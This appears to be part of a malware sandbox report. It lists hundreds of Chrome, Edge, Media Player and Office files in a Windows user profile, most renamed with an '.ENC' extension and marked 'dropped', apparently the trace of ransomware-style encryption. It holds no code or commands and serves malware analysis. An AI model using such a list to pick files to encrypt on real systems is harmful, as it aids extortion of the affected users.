C:\Users\user\AppData\Local\Google\Chrome\User Data\Variations.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\segmentation_platform\ukm_db-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\attzwu.exe.log
ASCII text, with CRLF line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\edge_autofill_global_block_list.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\manifest.fingerprint.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\regex_patterns.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.fingerprint.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.html.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_fre.html.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\classification.js.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\manifest.fingerprint.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\app-setup.js.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.html.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\First Run.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\LICENSE.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials\0.0.1.4\manifest.fingerprint.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials\0.0.1.4\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0\manifest.fingerprint.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\manifest.fingerprint.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\typosquatting_list.pb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Speech Recognition\1.15.0.1\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2023.9.4.1\LICENSE.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Typosquatting\1.20231004.1.0\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-as.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-be.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-bg.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-bn.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-da.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-es.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-eu.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-fr.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-gu.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hi.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hr.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hy.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-kn.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-la.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ml.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-mn-cyrl.hyb.ENC
Dyalog APL mapped file 32-bit version -105.-96
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-mr.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-or.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-pa.hyb.ENC
Dyalog APL mapped file 32-bit version -105.-96
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-pt.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-sl.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ta.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-te.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-tk.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-und-ethi.hyb.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\manifest.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\0015DD4A\10_All_Music.wpl.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\0015DD4A\12_All_Video.wpl.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.CampaignStates.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.GovernedChannelStates.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.SurveyEventActivityStats.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.SurveyHistoryStats.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Content\Anonymous\Insights.json.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120100v3.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120119v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120402v21.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120600v4.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120608v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224900v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224901v11.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule224902v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule226009v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230104v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230157v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230158v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230162v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230164v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230165v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230166v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230167v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230168v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230169v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230171v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230173v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230174v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230200v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700000v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700001v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700050v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700051v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700100v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700300v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700301v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700350v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700351v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700400v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700401v2.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700450v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700451v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700500v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700501v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700550v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700551v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700600v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700601v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700650v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700651v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml.ENC
data
dropped
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml.ENC
data
dropped
